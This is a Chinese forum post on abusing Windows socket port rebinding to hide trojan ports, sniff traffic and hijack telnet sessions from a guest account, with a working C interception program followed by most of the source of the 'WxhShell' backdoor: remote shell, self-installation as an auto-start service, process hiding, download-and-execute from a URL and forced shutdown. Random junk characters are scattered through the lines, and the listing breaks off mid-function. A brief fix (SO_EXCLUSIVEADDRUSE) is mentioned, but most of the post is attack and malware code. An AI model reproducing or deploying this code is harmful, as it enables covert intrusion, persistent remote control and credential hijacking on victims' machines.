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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :L`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +Ij>\;vM"  
 %"j<`  
  saddr.sin_family = AF_INET; 5<Cu-X  
x=yBB;&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ["GC   
4~4PZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UNq!|  
nJ.p PzH2g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0R<@*  
5KU}dw>*g  
  这意味着什么?意味着可以进行如下的攻击: O'U0Y8HN  
tR!eYt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `N}<lg(0#  
o`\l&jUNe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gKcP\m  
^x %yIS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mkTf}[O  
?Jm/v%0O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^~|P[}  
K 4I ?1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &fq-U5zH  
~R7rIP8Wr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 / O6n[qj|  
25*/]i u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /K<Xr[z~y  
8$-Wz:X&  
  #include |HI =ykfI  
  #include 6T&6N0y+9  
  #include \TkBV?W  
  #include    &G5+bUF,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,SuF1&4  
  int main()  gvYa&N  
  { 8 wQV^G  
  WORD wVersionRequested; .l"_f  
  DWORD ret; ,d<wEB?\`  
  WSADATA wsaData; {_|~G|Z  
  BOOL val; ' ~lC85  
  SOCKADDR_IN saddr; o5mt7/5[i  
  SOCKADDR_IN scaddr; Wk$[;>NU3  
  int err; cIK-VmO  
  SOCKET s; / _-?NZ  
  SOCKET sc; ["Ep.7=SU  
  int caddsize; k# ZO4  
  HANDLE mt; Erl"X}P  
  DWORD tid;   52/^>=t  
  wVersionRequested = MAKEWORD( 2, 2 ); _ mhP:O  
  err = WSAStartup( wVersionRequested, &wsaData ); 724E(?>J  
  if ( err != 0 ) { prb;q~  
  printf("error!WSAStartup failed!\n"); zv||&Hi  
  return -1; DoX#+ 07u4  
  } nYY@+%` ]z  
  saddr.sin_family = AF_INET; ?o$6w(]''  
   (ScL  C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uc!} D  
"X's>uM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [IF3 ,C  
  saddr.sin_port = htons(23); HGs.v}@&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;VeC(^-eh6  
  { /hOp>|  
  printf("error!socket failed!\n"); ^F5[2<O/!  
  return -1; bT,]=h"0  
  } )i0\U  
  val = TRUE; &sh %]o8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VT?J TW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M['8zN  
  { }?$d~]t)  
  printf("error!setsockopt failed!\n"); ;yqJEj_m(  
  return -1; +IK~a9t  
  } D0v!fF ~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A/lxXy}D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 he8y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1mwb&j24n3  
pi q%b]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F/tBr%RV  
  { u^s{r`/  
  ret=GetLastError(); 36@)a5  
  printf("error!bind failed!\n"); e!d& #ofw|  
  return -1; |t1D8){!  
  } 6vQAeuz<Fq  
  listen(s,2); i d\0yRBt  
  while(1) iS&fp[Th  
  { *JZU 0Xb  
  caddsize = sizeof(scaddr); -d[9mS  
  //接受连接请求 LUna stA^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b&"=W9(V  
  if(sc!=INVALID_SOCKET) UN'hnqC  
  { B%6>2S=E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Os?G_ziIB  
  if(mt==NULL) Yn+/yz5k_  
  { mLd=+&M  
  printf("Thread Creat Failed!\n"); Y\(Q  
  break; ib/B!?/  
  } QxwZ$?w%  
  } Se9I1~mX  
  CloseHandle(mt); cR 4xy26s  
  } 4Smno%jq  
  closesocket(s); S7P](F=n#  
  WSACleanup(); OthQ)&pq X  
  return 0; YC - -&66  
  }   -\b~R7VQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) hzg&OW=:  
  { @`G_6 <.`  
  SOCKET ss = (SOCKET)lpParam; b7E= u0  
  SOCKET sc; sg;G k/]  
  unsigned char buf[4096]; K 4j'e6  
  SOCKADDR_IN saddr; :O-Y67>&  
  long num; 8c`g{ *z  
  DWORD val; %a<N[H3NV@  
  DWORD ret; RWP`#(&/&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %a&Yt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yw41/jHF  
  saddr.sin_family = AF_INET; 1@" eeR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )TnxsFC  
  saddr.sin_port = htons(23); ?w`uv9NUJ8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1/c7((]7(,  
  { dms R>Q  
  printf("error!socket failed!\n"); P#\L6EO.  
  return -1; sn '#]yM  
  } }o0R`15dA  
  val = 100; &, hhH_W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {(U?)4@  
  { 9eo$Duws  
  ret = GetLastError(); JOS,>;;F4  
  return -1; y-m<&{q  
  } &?f{.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^8Tq0>n?  
  { GKu@8Ol-wu  
  ret = GetLastError(); lZ.x@hDS  
  return -1; ~ J^Gzl  
  } Bwj^9J/ob  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |&`NB|  
  { 'e^,#L_!o  
  printf("error!socket connect failed!\n"); kngkG|du  
  closesocket(sc); "toyfZq@  
  closesocket(ss); v!27q*;8H  
  return -1; >p [|U`>{  
  } i 2hP4<;h  
  while(1) vQ>x5\r5O_  
  { Y*/:IYr`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yoGe^gar  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tsVQXvo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =kH7   
  num = recv(ss,buf,4096,0); /) sA{q 4  
  if(num>0) e` Z;}& ,  
  send(sc,buf,num,0); rCR?]1*Z  
  else if(num==0) P +ONQN|  
  break; q4'szDYO2  
  num = recv(sc,buf,4096,0); 3TVp oB`  
  if(num>0) S 1sNVW  
  send(ss,buf,num,0); p \A^kX^5  
  else if(num==0) pp@Jndlg  
  break; B{$4s8XU  
  } Wjc1EW!2x  
  closesocket(ss); 0O<g) %Vz>  
  closesocket(sc); @8E mY,{;  
  return 0 ; 9g3e( z@  
  } S&_Z,mT./  
!`"@!  
1DVu`<OXcH  
========================================================== s kC*  
RAYDl=}  
下边附上一个代码,,WXhSHELL (oTtnQ""+  
d2`m0U  
========================================================== ]Q1?Ox:'  
WP[h@#7<  
#include "stdafx.h" #=C!Xx&  
B64L>7\>`  
#include <stdio.h> hEla8L4Y  
#include <string.h> 12qX[39/  
#include <windows.h> kDI(Y=Fg  
#include <winsock2.h> VM=A#}  
#include <winsvc.h> PDQC^2Z  
#include <urlmon.h> hr3RC+ y  
6-#<*Pg  
#pragma comment (lib, "Ws2_32.lib") tmT/4Ia  
#pragma comment (lib, "urlmon.lib") Dx`-Kg_p  
1bjhEO W  
#define MAX_USER   100 // 最大客户端连接数 S.&=>   
#define BUF_SOCK   200 // sock buffer {=mf/3.r  
#define KEY_BUFF   255 // 输入 buffer l2H-E&'=  
#tX\m ;  
#define REBOOT     0   // 重启 %+Hhe]J ld  
#define SHUTDOWN   1   // 关机 c1 aCN  
&/QdG= r+  
#define DEF_PORT   5000 // 监听端口 Wm ri%  
4@ EY+p  
#define REG_LEN     16   // 注册表键长度 L3}n(K AJj  
#define SVC_LEN     80   // NT服务名长度 U8TH}9Q  
vEQw`OC  
// 从dll定义API |dNJx<-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JxI\ss?O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /zxLnT; 5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ab"6]%_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6zv-nMZc  
PP/EZ^]b  
// wxhshell配置信息 .Ukejx  
struct WSCFG { cHqT1EY  
  int ws_port;         // 监听端口 Rdb[{Ruxb  
  char ws_passstr[REG_LEN]; // 口令 \"r84@<  
  int ws_autoins;       // 安装标记, 1=yes 0=no uu0"k<Tp  
  char ws_regname[REG_LEN]; // 注册表键名 }/)vOUcEd  
  char ws_svcname[REG_LEN]; // 服务名 : L}Fm2^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JF{yhx,+ p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2 I:x)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X}"Ic@8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |#_IAN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y:o\qr!Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4#<r}j12z  
bogw/)1  
}; o8<0#W@S  
x<&2`=  
// default Wxhshell configuration ]rwHr;.  
struct WSCFG wscfg={DEF_PORT, TpnJm%9`)t  
    "xuhuanlingzhe", s?-@8.@  
    1, #fB&Hv #s7  
    "Wxhshell", %63zQFk  
    "Wxhshell", 9Yu63s ia  
            "WxhShell Service", 9)c{L<o}T  
    "Wrsky Windows CmdShell Service", +M )ep\j  
    "Please Input Your Password: ", #eRrVjbo  
  1, Myj 5qh  
  "http://www.wrsky.com/wxhshell.exe", hY*ylzr83  
  "Wxhshell.exe" r'|Vz*/h  
    }; qg7qTF&   
Bh` Y?S  
// 消息定义模块 a7$]" T 7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JAt$WW{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &# [w*t(A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m-xnbTcQ  
char *msg_ws_ext="\n\rExit."; xi+bBqg<.K  
char *msg_ws_end="\n\rQuit."; gKPqWh  
char *msg_ws_boot="\n\rReboot..."; bQ%6z}r  
char *msg_ws_poff="\n\rShutdown..."; U-~6<\Mf  
char *msg_ws_down="\n\rSave to "; Uz4!O  
ON,sN  
char *msg_ws_err="\n\rErr!"; )GT*HJR(vc  
char *msg_ws_ok="\n\rOK!"; 9+irf^D`O  
^l,(~03_  
char ExeFile[MAX_PATH]; i}tBB~]  
int nUser = 0; 7d m:L'0  
HANDLE handles[MAX_USER]; Uzi.CYVs%  
int OsIsNt; z`}<mY E  
`j#zwgUs  
SERVICE_STATUS       serviceStatus; 3p+V~n.+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [TW?sW^0  
o [ Je  
// 函数声明 lRk)  
int Install(void); "_f~8f`y  
int Uninstall(void); K'6NW:zp~  
int DownloadFile(char *sURL, SOCKET wsh); k4C3SI*`4  
int Boot(int flag); c 5%uiv]  
void HideProc(void); *XU2%"Sc  
int GetOsVer(void); =~DQX\  
int Wxhshell(SOCKET wsl); 21T#NYfew  
void TalkWithClient(void *cs); "  jBc5*  
int CmdShell(SOCKET sock); yv;KKQ   
int StartFromService(void); +GYO<N7  
int StartWxhshell(LPSTR lpCmdLine); Yy 8? X9r.  
`iQ])C^d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sQ}E4Iq1#S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w=QlQ\  
MwuRxeRO-  
// 数据结构和表定义 Vsj1!}X:  
SERVICE_TABLE_ENTRY DispatchTable[] = +QW| 8b  
{ Bs3M7z RG  
{wscfg.ws_svcname, NTServiceMain}, ?Tlt(%f  
{NULL, NULL} o#Viz:  
}; nb~592u  
Dq~ \U&U\$  
// 自我安装 Ql1J?9W  
int Install(void) M*-]<!))7  
{ YlhyZ&a,  
  char svExeFile[MAX_PATH]; 1a]P+-@u[  
  HKEY key; =j"bLX6;  
  strcpy(svExeFile,ExeFile); Q$*JkwPQ}  
KaIkO8Dq0  
// 如果是win9x系统,修改注册表设为自启动 QPyHos `  
if(!OsIsNt) { -`A+Qp)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r [E4/?_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 47=YP0r?>T  
  RegCloseKey(key); xE5VXYU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S8,e `F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Dy9-o  
  RegCloseKey(key); _u9bZ'  
  return 0; W,5_i7vr  
    } Y'+mC  
  } 8xb({e4  
} <dKHZ4  
else { ?dy t!>C  
dAr=X4LE  
// 如果是NT以上系统,安装为系统服务 MAc jWb~ f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s>I~%+V.?:  
if (schSCManager!=0) XE$;Z'Qhjm  
{ n #S?fsQN  
  SC_HANDLE schService = CreateService ^Z+p_;J$p  
  ( B.4Or]  
  schSCManager, '[vC C'  
  wscfg.ws_svcname, "uP~hFA7M  
  wscfg.ws_svcdisp, tRbZX{  
  SERVICE_ALL_ACCESS, F*J bTEOn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ek8t2??x  
  SERVICE_AUTO_START, 2Mu3] 2>  
  SERVICE_ERROR_NORMAL, w$0*5n>)  
  svExeFile, |,T"_R_K  
  NULL, ]$!7;P  
  NULL, o0_H(j?  
  NULL, tP89gN^PA|  
  NULL, K?u:-QX^  
  NULL (\%J0kR3[  
  ); (@NW2  
  if (schService!=0) (_R!:H(]m  
  { : cPV08i  
  CloseServiceHandle(schService); QN;GMX5&  
  CloseServiceHandle(schSCManager);  ]l}bk]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _^D-nk?  
  strcat(svExeFile,wscfg.ws_svcname); P6)d#M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y*E{X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LhSXz>AX  
  RegCloseKey(key); `_x#`%!#2  
  return 0; 69 J4p=c,  
    } l-2lb&n  
  } v 8TNBsEL  
  CloseServiceHandle(schSCManager); s >k4G  
} g&\;62lV%  
} !1mAq+q!  
^97[(89G9  
return 1; 0zk054F'  
} Yc5<Y-W  
?lm<)y?I7+  
// 自我卸载 ]d*O>Pm  
int Uninstall(void) !iAZEOkRR  
{ Uv(}x 7e)  
  HKEY key; O O-Obg^  
oJZ0{^  
if(!OsIsNt) { Ls*Vz,3!5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uN0'n}c;1.  
  RegDeleteValue(key,wscfg.ws_regname); \}Kad\)  
  RegCloseKey(key); I#xhmsF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I]B9+Z?xo  
  RegDeleteValue(key,wscfg.ws_regname); 7'5/T]Z  
  RegCloseKey(key); dB Hki*.u  
  return 0; %5;kNeD\Fq  
  } 9lX[rBZ  
} qz 29f  
} :~p_(rE  
else { |[!0ry*N%  
3]>YBbXvE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7N0m7SC  
if (schSCManager!=0) Y3xEFqMU  
{ (JiEV3GH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cSj(u%9}  
  if (schService!=0) fVZ_*'v  
  { kEg~yN  
  if(DeleteService(schService)!=0) { 72y!cK6  
  CloseServiceHandle(schService); i k0w\*  
  CloseServiceHandle(schSCManager); iz-O~T/^  
  return 0; wDs#1`uTq  
  } +*RpOtss  
  CloseServiceHandle(schService); l> >BeZ  
  } N mN:x&/  
  CloseServiceHandle(schSCManager); 3iiOxg?j  
} /PkOF ((  
} l_x>.'a  
.|K\1qGW0  
return 1; ]j(Ld\:L  
} ^N~Jm&I  
6.4,Qae9E  
// 从指定url下载文件 ;"%luQA<w  
int DownloadFile(char *sURL, SOCKET wsh) vaZ?>94  
{ F,XJGD*  
  HRESULT hr; ,]?l(H $x'  
char seps[]= "/"; Rh7=,=u  
char *token; 2K'}Vm+  
char *file; &l~=c2  
char myURL[MAX_PATH]; `RE1q)o}8M  
char myFILE[MAX_PATH]; $Vm J[EF1  
!Jo.Un7  
strcpy(myURL,sURL); "( ?[$R  
  token=strtok(myURL,seps); i)e)FhEY6  
  while(token!=NULL) @yjui  
  { PiIILX{DuH  
    file=token; jdVdz,Y  
  token=strtok(NULL,seps); dnTXx*I:  
  } )5bdWJ>l  
\'N|1!EO|t  
GetCurrentDirectory(MAX_PATH,myFILE); d>7bwG+k  
strcat(myFILE, "\\"); YJwz*@l  
strcat(myFILE, file); hO:X\:G  
  send(wsh,myFILE,strlen(myFILE),0); <kor;exeJ  
send(wsh,"...",3,0); zphStiwIQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?jzadCel  
  if(hr==S_OK) ,K[B/tD{j  
return 0; c[0$8F>  
else 3'2}F%!Mv  
return 1; x]U (EX`t$  
( ]o6Pi  
} Sq==)$G  
-/&6}lD  
// 系统电源模块 B[MZ Pv)  
int Boot(int flag) )+9D$m=P;  
{ 3/@'tLtN  
  HANDLE hToken; o [ %Q&u  
  TOKEN_PRIVILEGES tkp; `0Q:d'  
(jYs_8;  
  if(OsIsNt) { 0?t!tugG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UwQ3q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M !OI :v  
    tkp.PrivilegeCount = 1; LGCL*Qbsg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w } 2|Do$5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  )Bk?"q  
if(flag==REBOOT) { a^5`fA/L,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0QIocha  
  return 0; qkUr5^1  
} )x|BY>  
else { Pjb9FCA'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UmgLH Cz  
  return 0; 3]Lk}0atpL  
} W\<#`0tUt  
  } ;+b}@e  
  else { 83l)o$S  
if(flag==REBOOT) { r rwsj`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BK d(  
  return 0; X)f"`$  
} Z ''P5B;  
else { 1v\-jM"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eq<#pX6  
  return 0; rw\4KI@ L  
} G[>-@9_b  
} QT&{M #Ydn  
}C&c=3V  
return 1; };!c]/,  
} ToJru  
tl^[MLQa  
// win9x进程隐藏模块 dw4)4_  
void HideProc(void) _gGy(`  
{ *-Yw0Y[E  
6Rf5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G\NCEE'A  
  if ( hKernel != NULL ) Ul'G g  
  { |B`tRq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V7@xr M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7=AKQ7BB>b  
    FreeLibrary(hKernel); HYH!;  
  } Cp* n2  
si;]C~X*  
return; t3XMQ']  
} t]o gn(  
)yK!qu  
// 获取操作系统版本 Ji[w; [qL  
int GetOsVer(void) ?hu 9c  
{ gPi_+-@  
  OSVERSIONINFO winfo; _# F'rl6'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #"M Pe4  
  GetVersionEx(&winfo); By_Ui6:D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e](=)h|  
  return 1; h5gXYmk  
  else m&%b;%,J  
  return 0; .2P?1HpK  
} ~z}au"k  
aS7zG2R4H  
// 客户端句柄模块 `+o.w#cl  
int Wxhshell(SOCKET wsl) 1m)/_y~1 k  
{ / fq6-;co+  
  SOCKET wsh; !tdfTf$  
  struct sockaddr_in client; Uk2q,2  
  DWORD myID; }sU\6~  
|Q;o538  
  while(nUser<MAX_USER) "p{ '984r<  
{ 3$cF)5Vf  
  int nSize=sizeof(client); #c>MUC(?s:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q': wSu u  
  if(wsh==INVALID_SOCKET) return 1; *La =7y:  
&3f.78a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `[&2K@u  
if(handles[nUser]==0) kk'w@Sn.(  
  closesocket(wsh); wVOL7vh  
else .[fz x`  
  nUser++; Fc~w`~tv  
  } DV\ei")  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2>k)=hl:  
\xxVDr.  
  return 0; ["<(\v9P)  
} RKkI/Z0  
,<^HB+{Wo  
// 关闭 socket m[j3s=Gr  
void CloseIt(SOCKET wsh) ,`zRlkX  
{ bl?%:qb.V  
closesocket(wsh); X^5"7phI@  
nUser--; :(`>bY  
ExitThread(0); \ZRoTh  
} -<!17jy  
F^z8+W  
// 客户端请求句柄 rcmAVl:$>  
void TalkWithClient(void *cs) I JY5wP1"  
{ U]0)$OH5e  
"D(8]EG=  
  SOCKET wsh=(SOCKET)cs; AsLjU#jn  
  char pwd[SVC_LEN]; `;CU[Ps?]  
  char cmd[KEY_BUFF]; \{zAX~k6  
char chr[1]; Zw][c7%  
int i,j; 5Y=\~,%\oH  
4E\ntufo  
  while (nUser < MAX_USER) { _|B&v  
V?59 .TJ  
if(wscfg.ws_passstr) { IW o~s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B"9hQb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cw&D}  
  //ZeroMemory(pwd,KEY_BUFF); F ssEs!#  
      i=0; E 'JC  
  while(i<SVC_LEN) { (Q8 ?)  
|cGeL[  
  // 设置超时 !5%5]9'n@*  
  fd_set FdRead; 4t Nvq  
  struct timeval TimeOut; s.^9HuM  
  FD_ZERO(&FdRead); *;e@t4  
  FD_SET(wsh,&FdRead); =l4\4td9p  
  TimeOut.tv_sec=8; Z3So|M{v  
  TimeOut.tv_usec=0; C<t'f(4s`u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p?$G>nkdq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b]<HhU  
QrckTO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %y\eBfW,/  
  pwd=chr[0]; xGEmrE<;  
  if(chr[0]==0xd || chr[0]==0xa) { B UQn+;be  
  pwd=0; H<Kkj  
  break; gMBQtPNM  
  } 20l_ay  
  i++; s"',370  
    } )@bH"  
{jM<t  
  // 如果是非法用户,关闭 socket i<wU.JX&h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wda\a.bXT  
} L;S*.Ol>  
7<1fKrN?GF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z-t}6c'Kg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dmaqXsU8q  
Vv]$\`d#  
while(1) { EARfbb"SG7  
,V33v<|wc  
  ZeroMemory(cmd,KEY_BUFF); oB0 8  
Xvu)  
      // 自动支持客户端 telnet标准   >{ECyh;  
  j=0; R] Disljq  
  while(j<KEY_BUFF) { j!S1Y0CV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nR o=J5tY  
  cmd[j]=chr[0]; lj EB  
  if(chr[0]==0xa || chr[0]==0xd) { 0Q$~k  
  cmd[j]=0; Bn1L?>G  
  break; B9LSxB  
  } E5*-;>2c  
  j++; bk7^%O>  
    } x[PEn  
JN&MyA"  
  // 下载文件 #u8*CA9  
  if(strstr(cmd,"http://")) { K5!";V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :/@k5#DY  
  if(DownloadFile(cmd,wsh)) ,b6kTQq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 6Sh  
  else U~{Sa+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QT1:> k  
  } !K3i-zY  
  else { 5;F P.{+  
;48P vw>g}  
    switch(cmd[0]) { (|g").L  
  ezcS[r  
  // 帮助 [i(Cl}  
  case '?': { ;Ze"<U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S9G8aea/  
    break; 0W~.WkD  
  } M'cJ)-G  
  // 安装 u}Ei_ O<z  
  case 'i': { ]`zjRRd  
    if(Install()) 6sYV7w,'@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fDU+3b  
    else s.^c..e75C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rD0k%-{{  
    break; +jq 2pFQ  
    } *he7BUO  
  // 卸载 j6n2dMRvSE  
  case 'r': { f\h%; X  
    if(Uninstall()) L"[IOV9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lir &e 9I+  
    else [urH a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,3:QB_  
    break; 4dW3'"R"L  
    } t-!Rgg$9  
  // 显示 wxhshell 所在路径 gWFL  
  case 'p': { :~t<L%tYF  
    char svExeFile[MAX_PATH]; o*%3[HmV  
    strcpy(svExeFile,"\n\r"); &bB6}H(  
      strcat(svExeFile,ExeFile); w`M]0'zls  
        send(wsh,svExeFile,strlen(svExeFile),0); d4ic9u*D  
    break; k?^%hO>[  
    } 3QCMK^#Z:  
  // 重启 "YuZ fL`bb  
  case 'b': { mH'\:oN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LL{t5(- _  
    if(Boot(REBOOT)) Ip>^O/}$1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +d=~LQ}*  
    else { ;)gLjF/F7  
    closesocket(wsh); >[K0=nA  
    ExitThread(0); /M 0 p_4  
    } ~Y% : 3  
    break; ?LM:RADCm  
    } 5QR}IxQ  
  // 关机 F\JLbY{x]  
  case 'd': { >5c]aNcv  
